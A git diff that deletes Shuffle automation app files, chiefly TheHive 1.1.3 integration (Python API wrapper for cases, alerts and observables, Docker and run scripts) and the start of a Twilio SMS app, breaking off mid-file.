+uCWQZtlJ0obWfMe1MNtv1sFwdXjX1ZSBiF03zslJWuJ9kXvPaPITMr61DmrgoISTT8MGqehj0TDRAV7q5NxCUGmy7u5z8xdczYpC/8Zfgdl0BcC3FxITBhN2H/r2aZ3TMjGrxnFyPl4sLNrsFtPmbKv03ZQ6/1tDg3YrEZYhEN3rpz+GgN0MWXCPp+Xl0ZqKRhNDKzEr/jk9Mq4lNPGZnC7/x0/RwzM0JgVIHy1u/ZILkaoINuSluvRJdfY1FD0ACr+zTjd342LmYwNabtpUytsJdbyeRysquHRJdfo7TlG0SFB6sQXwY19iKlLV+z8cOLzgwAYe1xrSfP/NSMl4KZiHLPDwh6fsziMwWsYpnFbfsoXnYtMrNfnMcRB8fpAB10ERXutaXE55nxu2AwGqflBDJ7fx3h5mZ8dNZb2owaorTln4kKd+4eg6sk8GeR6f1tdVOZBh2iwy506dXY2qB2j/4a65pN7/0tnMzBsz5e1bV5uryF0pZ/QI08sducVCoa/6QRLURK9EJBI9wO0nv9E27LCVX9oirqytRepJb/fXylxGJv8uOYxpW7OzHDaSG17PM13RpU9XR3Gg4hvcdXkP5eu4fSuFvDIGQj/pLLbOHnGiZJTfLHafogqT2/gkztuZtovbsjDEI24C/9WxsfXKMXdk534UbDj1B+5zvo0mu70Z6yO0AjZDP+0sti51ft1ezmfFu0Gn2K0jvfTviGs3cTNMLNkVr2ebzs2jm7xOd1n7ouvUqp6wpbA8S+brGpsjgwCpnel9SyL+K2njQvOsz7gnsT9lLu+aGtumZK7BZn/7rBks5pPJLU8r/DafjAvN84b4aATSULt99CsO0nmKC7LjVBFh/aBihkzyG15C/j6y3mjwVhiIVBjTxJuedq1Mhj7Igaea/Blv2Q6X3wOz+L1/bR2e8zqQELyJC4u9F2gr5fEPbfhAm3TRHx8S6G0eA04LWeht/5F/F1FguLBWeIhUaNPkPQew3R8EOgRt/lYkwDjr1zseMTuC0nVwrhLDQSYoiF0WNEQw8R9t1oK1rHl6W8e1aMrZ0iUyvw2s/Fy55VuXMxKSTKkHGYaJBo6H7C7RtRY8/ZMJvdljHjYUouMrUPbnYNXvbMuLhN8v2tC0MqQ1VDqOHfEQ7ejhp9wl6xasxuss9o2xenESez0t5e3XpSnChav77VlSE7xl5GlV4mGnoQNfwwuvT6hLioejJmPJ/dR/rLcZqOwm05Kb4Go2V+r54jFochEwhiogHU2LNEQw/Ysn/lLdTLO2lLB67GbTkep/GDViwt8uHj/wFgziEWYtazhwAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxOS0wOC0zMFQxNToyODo0Mi0wNDowMA9cm8cAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTktMDgtMzBUMTU6Mjg6MTMtMDQ6MDCQliarAAAAAElFTkSuQmCC diff --git a/thehive/1.1.3/docker-compose.yml b/thehive/1.1.3/docker-compose.yml deleted file mode 100644 index 47de05b2..00000000 --- a/thehive/1.1.3/docker-compose.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: '3.4' -services: - thehive: - build: - context: . - dockerfile: Dockerfile - env_file: - - env.txt - restart: "no" - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none diff --git a/thehive/1.1.3/env.txt b/thehive/1.1.3/env.txt deleted file mode 100644 index 1398a35f..00000000 --- a/thehive/1.1.3/env.txt +++ /dev/null @@ -1,4 +0,0 @@ -REDIS_URI=redis://redis -REDIS_ACTION_RESULT_CH=action-results -REDIS_ACTION_RESULTS_GROUP=action-results-group -APP_NAME=thehive diff --git a/thehive/1.1.3/requirements.txt b/thehive/1.1.3/requirements.txt deleted file mode 100644 index 1d40c46a..00000000 --- a/thehive/1.1.3/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.25.1 -thehive4py==1.8.1 -python-magic==0.4.18 diff --git a/thehive/1.1.3/run b/thehive/1.1.3/run deleted file mode 100644 index 7c7c2c69..00000000 --- a/thehive/1.1.3/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:thehive_1.0.0 --force -docker rm frikky/shuffle:thehive_1.0.0 --force -docker rmi frikky/shuffle:thehive_1.0.0 --force - -docker build . -t frikky/shuffle:thehive_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="" \ - frikky/shuffle:thehive_1.0.0 - -docker push frikky/shuffle:thehive_1.0.0 diff --git a/thehive/1.1.3/src/app.py b/thehive/1.1.3/src/app.py deleted file mode 100644 index 15a94d64..00000000 --- a/thehive/1.1.3/src/app.py +++ /dev/null @@ -1,1137 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import time -import random -import json -import requests -import thehive4py - -from thehive4py.api import TheHiveApi -from thehive4py.query import * -import thehive4py.models -from thehive4py.models import * - -from walkoff_app_sdk.app_base import AppBase - - -class TheHive(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - - __version__ = "1.1.3" - app_name = "thehive" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # def run_analyzer(self, apikey, url, title_query): - # self.thehive = TheHiveApi(url, apikey, cert=False) - - # response = self.thehive.find_cases(query=String("title:'%s'" % title_query), range='all', sort=[]) - # return response.text - - def __connect_thehive(self, url, apikey, organisation, version=3): - if organisation: - self.thehive = TheHiveApi( - url, apikey, cert=False, organisation=organisation, version=version - ) - else: - self.thehive = TheHiveApi(url, apikey, cert=False, version=version) - - def search_case_title(self, apikey, url, organisation, title_query): - self.__connect_thehive(url, apikey, organisation) - - response = self.thehive.find_cases( - query=ContainsString("title", title_query), range="all", sort=[] - ) - - return response.text - - def custom_search( - self, apikey, url, organisation, search_for, custom_query, range="all" - ): - self.__connect_thehive(url, apikey, organisation) - - if not isinstance(custom_query, list) and not isinstance(custom_query, dict) and not isinstance(custom_query, object): - try: - custom_query = json.loads(custom_query) - except: - # raise IOError("Invalid JSON payload received.") - pass - - if search_for == "alert": - response = self.thehive.find_alerts( - query=custom_query, range="all", sort=[] - ) - else: - response = self.thehive.find_cases(query=custom_query, range="all", sort=[]) - - if ( - response.status_code == 200 - or response.status_code == 201 - or response.status_code == 202 - ): - return response.text - else: - raise IOError(response.text) - - def add_case_artifact( - self, - apikey, - url, - organisation, - case_id, - data, - datatype, - tags=None, - tlp=None, - ioc=None, - sighted=None, - description="", - ): - self.__connect_thehive(url, apikey, organisation) - - tlp = int(tlp) if tlp else 2 - ioc = True if ioc.lower() == "true" else False - sighted = True if sighted.lower() == "true" else False - if not description: - description = "Created by shuffle" - - tags = ( - tags.split(", ") if ", " in tags else tags.split(",") if "," in tags else [] - ) - - item = thehive4py.models.CaseObservable( - dataType=datatype, - data=data, - tlp=tlp, - ioc=ioc, - sighted=sighted, - tags=tags, - message=description, - ) - - return self.thehive.create_case_observable(case_id, item).text - - def search_alert_title( - self, apikey, url, organisation, title_query, search_range="0-25" - ): - self.__connect_thehive(url, apikey, organisation) - - # Could be "all" too - if search_range == "": - search_range = "0-25" - - response = self.thehive.find_alerts( - query=ContainsString("title", title_query), range=search_range, sort=[] - ) - - return response.text - - def create_case( - self, - apikey, - url, - organisation, - template, - title, - description="", - tlp=None, - pap=None, - severity=None, - flag=None, - tags="", - custom_fields=None, - custom_json=None, - ): - self.__connect_thehive(url, apikey, organisation) - - flag = False if flag.lower() == "false" else True - pap = int(pap) if pap else 2 - tlp = int(tlp) if tlp else 2 - severity = int(severity) if severity else 2 - tags = tags.split(",") if tags else [] - - if tlp > 3 or tlp < 0: - return f"TLP needs to be a number from 0-3, not {tlp}" - if severity > 4 or severity < 1: - return f"Severity needs to be a number from 1-4, not {severity}" - - Casetemplate = template if template else None - - # Prepare the customfields - customfields = CustomFieldHelper() - - if isinstance(custom_fields, str): - try: - custom_fields = json.loads(custom_fields) if custom_fields else {} - except json.decoder.JSONDecodeError: - return "Custom fields need to be valid json" - - for key, value in custom_fields.items(): - if type(value) == int: - customfields.add_integer(key, value) - elif type(value) == str: - customfields.add_string(key, value) - elif type(value) == bool: - customfields.add_boolean(key, value) - elif type(value) == float: - customfields.add_float(key, value) - else: - print( - f'The value type "{value}" of the field {key} is not suported by the function.' - ) - - - # Fields in JSON - customfields = customfields.build() - custom_json = json.loads(custom_json) if custom_json else {} - - case = thehive4py.models.Case( - title=title, - tlp=tlp, - pap=pap, - severity=severity, - flag=flag, - tags=tags, - description=description, - template=Casetemplate, - customFields=customfields, - json=custom_json, - ) - - try: - ret = self.thehive.create_case(case) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert( - self, - apikey, - url, - organisation, - type, - source, - sourceref, - title, - description="", - tlp=1, - severity=1, - tags="", - artifacts="", - ): - self.__connect_thehive(url, apikey, organisation) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-3, not %s" % tlp - - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 1-4, not %s" % severity - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 4 or severity < 1: - return f"Severity needs to be a number from 1-4, not {severity}" - - all_artifacts = [] - if isinstance(artifacts, str): - # print("ITS A STRING!") - try: - artifacts = json.loads(artifacts) - except: - print("[ERROR] Error in parsing artifacts!") - - # print("ART HERE: %s" % artifacts) - # print("ART: %s" % type(artifacts)) - if isinstance(artifacts, list): - print("ITS A LIST!") - for item in artifacts: - print("ITEM: %s" % item) - try: - artifact = thehive4py.models.AlertArtifact( - dataType=item["data_type"], - data=item["data"], - ) - - try: - artifact["message"] = item["message"] - except: - pass - - if item["data_type"] == "ip": - try: - if item["is_private_ip"]: - message += " IP is private." - except: - pass - - all_artifacts.append(artifact) - except KeyError as e: - print("Error in artifacts: %s" % e) - - alert = thehive4py.models.Alert( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - type=type, - source=source, - sourceRef=sourceref, - artifacts=all_artifacts, - ) - - try: - ret = self.thehive.create_alert(alert) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def add_alert_artifact( - self, - apikey, - url, - organisation, - alert_id, - dataType, - data, - message=None, - tlp="2", - ioc="False", - sighted="False", - ignoreSimilarity="False", - tags=None, - ): - self.__connect_thehive(url, apikey, organisation, version=4) - - if tlp: - tlp = int(tlp) - else: - tlp = 2 - - ioc = ioc.lower().strip() == "true" - sighted = sighted.lower().strip() == "true" - ignoreSimilarity = ignoreSimilarity.lower().strip() == "true" - - if tags: - tags = [x.strip() for x in tags.split(",")] - else: - tags = [] - - alert_artifact = thehive4py.models.AlertArtifact( - dataType=dataType, - data=data, - message=message, - tlp=tlp, - ioc=ioc, - sighted=sighted, - ignoreSimilarity=ignoreSimilarity, - tags=tags, - ) - - try: - ret = self.thehive.create_alert_artifact(alert_id, alert_artifact) - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - if ret.status_code > 299: - raise ConnectionError(ret.text) - - return ret.text - - # Gets an item based on input. E.g. field_type = Alert - def get_item(self, apikey, url, organisation, field_type, cur_id): - self.__connect_thehive(url, apikey, organisation) - - newstr = "" - ret = "" - if field_type.lower() == "alert": - ret = self.thehive.get_alert(cur_id + "?similarity=1") - elif field_type.lower() == "case": - ret = self.thehive.get_case(cur_id) - elif field_type.lower() == "case_observables": - ret = self.thehive.get_case_observables(cur_id) - elif field_type.lower() == "case_task": - ret = self.thehive.get_case_task(cur_id) - elif field_type.lower() == "case_tasks": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "case_template": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "linked_cases": - ret = self.thehive.get_linked_cases(cur_id) - elif field_type.lower() == "task_log": - ret = self.thehive.get_task_log(cur_id) - elif field_type.lower() == "task_logs": - ret = self.thehive.get_task_logs(cur_id) - else: - return ( - "%s is not implemented. See https://github.com/frikky/shuffle-apps for more info." - % field_type - ) - - return ret.text - - def close_alert(self, apikey, url, organisation, alert_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.mark_alert_as_read(alert_id).text - - def reopen_alert(self, apikey, url, organisation, alert_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.mark_alert_as_unread(alert_id).text - - def create_case_from_alert( - self, apikey, url, organisation, alert_id, case_template=None - ): - self.__connect_thehive(url, apikey, organisation) - response = self.thehive.promote_alert_to_case( - alert_id=alert_id, case_template=case_template - ) - - return response.text - - def merge_alert_into_case(self, apikey, url, organisation, alert_id, case_id): - self.__connect_thehive(url, apikey, organisation) - req = url + f"/api/alert/{alert_id}/merge/{case_id}" - ret = requests.post(req, auth=self.thehive.auth, verify=False) - return ret.text - - # Not sure what the data should be - def update_field( - self, apikey, url, organisation, field_type, cur_id, field, data - ): - # This is kinda silly but.. - if field_type.lower() == "alert": - newdata = {} - - if data.startswith("%s"): - ticket = self.thehive.get_alert(cur_id) - if ticket.status_code != 200: - pass - - newdata[field] = "%s%s" % (ticket.json()[field], data[2:]) - else: - newdata[field] = data - - # Bleh - url = "%s/api/alert/%s" % (url, cur_id) - if field == "status": - if data == "New" or data == "Updated": - url = "%s/markAsUnread" % url - elif data == "Ignored": - url = "%s/markAsRead" % url - - ret = requests.post( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - verify=False, - ) - else: - ret = requests.patch( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - json=newdata, - verify=False, - ) - - return str(ret.status_code) - - elif field_type.lower() == 'case': - return 'Use update_case action for updating a case.' - else: - return ( - "%s is not implemented. See https://github.com/frikky/walkoff-integrations for more info." - % field_type - ) - - # https://github.com/TheHive-Project/TheHiveDocs/tree/master/api/connectors/cortex - def delete_alert_artifact(self, apikey, url, organisation, artifact_id): - self.__connect_thehive(url, apikey, organisation, version=4) - return self.thehive.delete_alert_artifact(artifact_id).text - - # https://github.com/TheHive-Project/TheHiveDocs/tree/master/api/connectors/cortex - def run_analyzer( - self, apikey, url, organisation, cortex_id, analyzer_id, artifact_id - ): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.run_analyzer(cortex_id, artifact_id, analyzer_id).text - - # Creates a task log in TheHive with file - def add_task_log( - self, - apikey, - url, - organisation, - task_id, - message, - filedata={}, - mime_type=None, - ): - try: - if filedata["success"] == False: - return "No file to upload. Skipping message." - except Exception as e: - print(f"[WARNING] Error in filedata handler for {filedata}: {e}") - - headers = { - "Authorization": f"Bearer {apikey}", - } - - organisation = organisation.strip() - if organisation: - headers["X-Organisation"] = organisation - - files = {} - try: - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"], mime_type), - } - except Exception as e: - print(f"[WARNING] Error in file handler for {filedata} (2): {e}") - - data = {"message": f"{message}"} - response = requests.post( - f"{url}/api/case/task/{task_id}/log", - headers=headers, - files=files, - data=data, - verify=False, - ) - return response.text - - # Creates an artifact as a file in a case - def create_case_file_artifact( - self, apikey, url, organisation, case_id, tags, filedata - ): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - outerarray = {"dataType": "file", "tags": tags} - data = {"_json": """%s""" % json.dumps(outerarray)} - response = requests.post( - "%s/api/case/%s/artifact" % (url, case_id), - headers=headers, - files=files, - data=data, - verify=False, - ) - return response.text - # Create an observable as a file for an alert - def create_alert_file_observable( - self, apikey, url, organisation, alert_id, tags, filedata - ): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - outerarray = {"dataType": "file", "tags": tags} - data = {"_json": """%s""" % json.dumps(outerarray)} - response = requests.post( - "%s/api/alert/%s/artifact" % (url, alert_id), - headers=headers, - files=files, - data=data, - verify=False, - ) - return response.text - # Get all artifacts of a given case - def get_case_artifacts( - self, - apikey, - url, - organisation, - case_id, - dataType, - ): - self.__connect_thehive(url, apikey, organisation) - - query = And(Eq("dataType", dataType)) if dataType else {} - - # Call the API - response = self.thehive.get_case_observables( - case_id, query=query, sort=["-startDate", "+ioc"], range="all" - ) - - # Display the result - if response.status_code == 200: - # Get response data - list = response.json() - - # Display response data - return ( - json.dumps(list, indent=4, sort_keys=True) - if list - else json.dumps( - {"status": 200, "message": "No observable results"}, - indent=4, - sort_keys=True, - ) - ) - else: - return f"Failure: {response.status_code}/{response.text}" - - def close_case( - self, - apikey, - url, - organisation, - id, - resolution_status="", - impact_status="", - summary="", - ): - - self.__connect_thehive(url, apikey, organisation) - case = self.thehive.case(id) - case.status = "Resolved" - case.summary = summary - case.resolutionStatus = resolution_status - case.impactStatus = impact_status - - result = self.thehive.update_case( - case, - fields=[ - "status", - "summary", - "resolutionStatus", - "impactStatus", - ], - ) - - return json.dumps(result.json(), indent=4, sort_keys=True) - - # Update TheHive Case - def update_case( - self, - apikey, - url, - organisation, - id, - title="", - description="", - severity=None, - owner="", - flag=None, - tlp=None, - pap=None, - tags="", - status="", - custom_fields=None, - custom_json=None, - ): - self.__connect_thehive(url, apikey, organisation) - - # Get current case data and update fields if new data exists - case = self.thehive.get_case(id).json() - print(case) - - case_title = title if title else case["title"] - case_description = description if description else case["description"] - case_severity = int(severity) if severity else case["severity"] - case_owner = owner if owner else case["owner"] - case_flag = ( - (False if flag.lower() == "false" else True) if flag else case["flag"] - ) - case_tlp = int(tlp) if tlp else case["tlp"] - case_pap = int(pap) if pap else case["pap"] - case_tags = tags.split(",") if tags else case["tags"] - - case_status = status if status else case["status"] - case_customFields = case["customFields"] - - # Prepare the customfields - customfields = CustomFieldHelper() - if case_customFields: - for key, value in case_customFields.items(): - if list(value)[0] == "integer": - customfields.add_integer(key, list(value.items())[0][1]) - elif list(value)[0] == "string": - customfields.add_string(key, list(value.items())[0][1]) - elif list(value)[0] == "boolean": - customfields.add_boolean(key, list(value.items())[0][1]) - elif list(value)[0] == "float": - customfields.add_float(key, list(value.items())[0][1]) - else: - print( - f'The value type "{value}" of the field {key} is not suported by the function.' - ) - - if isinstance(custom_fields, str): - try: - custom_fields = json.loads(custom_fields) if custom_fields else {} - except json.decoder.JSONDecodeError: - return "Custom fields need to be valid json" - - for key, value in custom_fields.items(): - if type(value) == int: - customfields.add_integer(key, value) - elif type(value) == str: - customfields.add_string(key, value) - elif type(value) == bool: - customfields.add_boolean(key, value) - elif type(value) == float: - customfields.add_float(key, value) - else: - print( - f'The value type "{value}" of the field {key} is not suported by the function.' - ) - - customfields = customfields.build() - - custom_json = json.loads(custom_json) if custom_json else {} - - # Prepare the fields to be updated - case = Case( - id=id, - title=case_title, - description=case_description, - severity=case_severity, - owner=case_owner, - flag=case_flag, - tlp=case_tlp, - pap=case_pap, - tags=case_tags, - status=case_status, - customFields=customfields, - json=custom_json, - ) - - # resolutionStatus=case_resolutionStatus, - - result = self.thehive.update_case( - case, - fields=[ - "title", - "description", - "severity", - "owner", - "flag", - "tlp", - "pap", - "tags", - "customFields", - "status", - ], - ) - - return json.dumps(result.json(), indent=4, sort_keys=True) - - # Update TheHIVE alert - def update_alert( - self, - apikey, - url, - organisation, - id, - alerttype="", - source="", - sourceRef="", - title="", - description="", - tlp=None, - pap=None, - severity=None, - tags="", - custom_fields=None - ): - self.__connect_thehive(url, apikey, organisation) - - # get the current data for the alert - alert = self.thehive.get_alert(id).json() - - # Update information if given by the user, otherwise, - # use the already present data retrieved above - alert_type = alerttype if alerttype else alert["type"] - alert_source = source if source else alert["source"] - alert_sourceRef = sourceRef if sourceRef else alert["sourceRef"] - alert_title = title if title else alert["title"] - alert_description = description if description else alert["description"] - - # tlp handling - alert_tlp = int(tlp) if tlp else alert["tlp"] - - if alert_tlp > 3 or alert_tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % alert_tlp - - # pap handling - alert_pap = int(pap) if pap else alert["pap"] - - if alert_pap > 3 or alert_pap < 0: - return "PAP needs to be a number from 0-3, not %d" % alert_pap - - # severity handling - alert_severity = int(severity) if severity else alert["severity"] - - if alert_severity > 4 or alert_severity < 1: - return "Severity needs to be a number from 1-4, not %s" % alert_severity - - # tags handling - if tags: - if ", " in tags: - alert_tags = tags.split(", ") - elif "," in tags: - alert_tags = tags.split(",") - else: - alert_tags = [tags] - else: - alert_tags = alert["tags"] - - # custom fields handling - alert_customFields = alert["customFields"] - - customfields = CustomFieldHelper() - if alert_customFields: - for key, value in alert_customFields.items(): - if list(value)[0] == "integer": - customfields.add_integer(key, list(value.items())[0][1]) - elif list(value)[0] == "string": - customfields.add_string(key, list(value.items())[0][1]) - elif list(value)[0] == "boolean": - customfields.add_boolean(key, list(value.items())[0][1]) - elif list(value)[0] == "float": - customfields.add_float(key, list(value.items())[0][1]) - else: - print(f'The value type "{value}" of the field {key} is not suported by the function.') - - if isinstance(custom_fields, str): - try: - custom_fields = json.loads(custom_fields) if custom_fields else {} - except json.decoder.JSONDecodeError: - return "Custom fields need to be valid json" - - for key, value in custom_fields.items(): - if type(value) == int: - customfields.add_integer(key, value) - elif type(value) == str: - customfields.add_string(key, value) - elif type(value) == bool: - customfields.add_boolean(key, value) - elif type(value) == float: - customfields.add_float(key, value) - else: - print(f'The value type "{value}" of the field {key} is not suported by the function.') - - alert_customfields = customfields.build() - - # Prepare the fields to be updated - alert = Alert( - id=id, - type=alert_type, - source=alert_source, - sourceRef=alert_sourceRef, - title=alert_title, - description=alert_description, - tlp=alert_tlp, - pap=alert_pap, - severity=alert_severity, - tags=alert_tags, - customFields=alert_customfields, - ) - - result = self.thehive.update_alert( - alert_id=id, - alert=alert, - fields=[ - "type", - "source", - "sourceRef", - "title", - "description", - "tlp", - "pap", - "severity", - "tags", - "customFields", - ], - ) - - return json.dumps(result.json(), indent=4, sort_keys=True) - - # Get TheHive Organisations - def get_organisations( - self, - apikey, - url, - organisation, - ): - headers = { - "Authorization": f"Bearer {apikey}", - "Content-Type": "application/json", - } - - response = requests.get( - f"{url}/api/organisation", - headers=headers, - verify=False, - ) - - return response.text - - # Create TheHive Organisation - def create_organisation( - self, - apikey, - url, - organisation, - name, - description, - ): - headers = { - "Authorization": f"Bearer {apikey}", - "Content-Type": "application/json", - } - - data = {"name": f"{name}", "description": f"{description}"} - - response = requests.post( - f"{url}/api/organisation", - headers=headers, - json=data, - verify=False, - ) - - return response.text - - # Create User in TheHive - def create_user( - self, - apikey, - url, - organisation, - login, - name, - profile, - ): - headers = { - "Authorization": f"Bearer {apikey}", - "Content-Type": "application/json", - } - - data = { - "login": f"{login}", - "name": f"{name}", - "profile": f"{profile}", - "organisation": f"{organisation}", - } - - response = requests.post( - f"{url}/api/v1/user", - headers=headers, - json=data, - verify=False, - ) - - return response.text - - # Update TheHive case Artifact - def update_case_artifact( - self, - apikey, - url, - organisation, - id, - description=None, - tlp=None, - ioc=None, - sighted=None, - tags=None, - custom_json=None, - ): - self.__connect_thehive(url, apikey, organisation) - # Get Artifact Data - artifact = self.thehive.get_case_observable(id).json() - - # Prepare fields to be updated - ## Message (description): - artifact_message = ( - ( - artifact["message"] + " " + description[1:] - if "*" == description[0] - else description - ) - if description - else artifact["message"] - ) - - ## TLP, PAP, IOC, Sighted - artifact_tlp = int(tlp) if tlp else artifact["tlp"] - artifact_ioc = ( - (False if ioc.lower() == "false" else True) if ioc else artifact["ioc"] - ) - artifact_sighted = ( - (False if sighted.lower() == "false" else True) - if sighted - else artifact["sighted"] - ) - - ## Tags: - if tags: - if "*" == tags[0]: - artifact_tags = tags[1:].split(",") - artifact_tags.extend(artifact["tags"]) - else: - artifact_tags = tags.split(",") - else: - artifact_tags = artifact["tags"] - - ## Custom Json: - custom_json = json.loads(custom_json) if custom_json else {} - - artifact = CaseObservable( - id=id, - message=artifact_message, - tlp=artifact_tlp, - ioc=artifact_ioc, - sighted=artifact_sighted, - tags=artifact_tags, - json=custom_json, - ) - - response = self.thehive.update_case_observables( - artifact, fields=["message", "tlp", "ioc", "sighted", "tags"] - ) - - return response.text - - # Create TheHive case Task - def create_task( - self, - apikey, - url, - organisation, - case_id, - title, - description=None, - status=None, - flag=None, - group=None, - custom_json=None, - ): - self.__connect_thehive(url, apikey, organisation) - # Prepare flag field - flag = False if flag.lower() == "false" else True - start_date = ( - round(time.time() * 1000) if status.lower() == "inprogress" else None - ) - - case_task = CaseTask( - title=title, - description=description, - status=status, - startDate=start_date, - flag=flag, - group=group, - json=custom_json, - ) - - response = self.thehive.create_case_task(case_id, case_task) - - return response.text - - # Close TheHive case Task - def update_task(self,apikey,url,organisation,task_id,status): - if status == "Completed": - - # Add EndDate Time before close - headers = { - "Authorization": f"Bearer {apikey}", - } - if organisation: - headers["X-Organisation"] = organisation - - data = {"endDate": round(time.time() * 1000)} - requests.patch( - f"{url}/api/case/task/{task_id}", - headers=headers, - data=data, - verify=False, - ) - task = CaseTask( - id=task_id, - status="Completed", - ) - else: - task = CaseTask( - id = task_id, - status = status, - ) - - response = self.thehive.update_case_task(task, fields=["status"]) - - return response.text - - -if __name__ == "__main__": - TheHive.run() diff --git a/thehive/README.md b/thehive/README.md deleted file mode 100644 index 657492d3..00000000 --- a/thehive/README.md +++ /dev/null @@ -1,22 +0,0 @@ -# Thehive App - -## Configuration - -![conf](https://github.com/Shuffle/python-apps/blob/master/thehive/conf.png?raw=true) - -### Thehive3 -- Leave **Organisation** empty - -### Thehive4 - -**For unique api user by organisation:** -- Each action for a different organisation, you need to set the **Apikey** for that user/organisation -- Leave **Organisation** empty - -**For same api user across the organisations:** -- Setup the user **Apikey** -- Each action for a different organisation, you need to specify the **Organisation** - -**Note:** You may want one api key from thehive to be used by Shuffle or one per org, so the configuration of the Thehive App depends on your choice. - -Of course on each use case, you can setup an **Authentication**, and every time you add a new node you just need to select from the list which authentication to use. The only different will be between having multiple api users or a single one. -- recommended way diff --git a/thehive/conf.png b/thehive/conf.png deleted file mode 100644 index d0deeb1e..00000000 Binary files a/thehive/conf.png and /dev/null differ diff --git a/twilio/1.9.0/Dockerfile b/twilio/1.9.0/Dockerfile deleted file mode 100644 index 9bbc5110..00000000 --- a/twilio/1.9.0/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app -RUN apk add curl - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/twilio/1.9.0/api.yaml b/twilio/1.9.0/api.yaml deleted file mode 100644 index af084706..00000000 --- a/twilio/1.9.0/api.yaml +++ /dev/null @@ -1,107 +0,0 @@ -walkoff_version: 1.9.0 -app_version: 1.9.0 -name: twilio -description: Send SMS from Shuffle through Twilio.com -tags: - - HTTP -categories: - - HTTP -contact_info: - name: "Entwicklungsleiter" - url: https://github.com/Entwicklungsleiter - email: "50797003+Entwicklungsleiter@users.noreply.github.com" -authentication: - required: true - parameters: - - name: url - description: Twilio API URL. - example: "https://api.twilio.com/2010-04-01/Accounts/TWILIO_ACCOUNT_SID/Messages.json" - required: true - schema: - type: string - - name: username - description: Your Twilio account SID - multiline: false - required: true - example: "Username" - schema: - type: string - - name: password - description: Your Twilio account secret - multiline: false - required: true - example: "*****" - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/x-www-form-urlencoded" - schema: - type: string -actions: - - name: Send_SMS - description: sends an SMS to Twilio API endpoint - parameters: - - name: url - description: Twilio API URL - multiline: false - example: "https://api.twilio.com/2010-04-01/Accounts/TWILIO_ACCOUNT_SID/Messages.json" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/x-www-form-urlencoded" - schema: - type: string - - name: username - description: Your Twilio account SID - multiline: false - required: true - example: "Username" - schema: - type: string - - name: password - description: Your Twilio account secret - multiline: false - required: true - example: "*****" - schema: - type: string - - name: timeout - description: Add a timeout (in seconds) for the request - multiline: false - required: false - example: "10" - schema: - type: bool - - name: body - description: The message to send. - multiline: true - example: "I did not have any sexual relationship with Miss Lewinsky!" - required: true - schema: - type: string - - name: From - description: The senders phone number, see Your 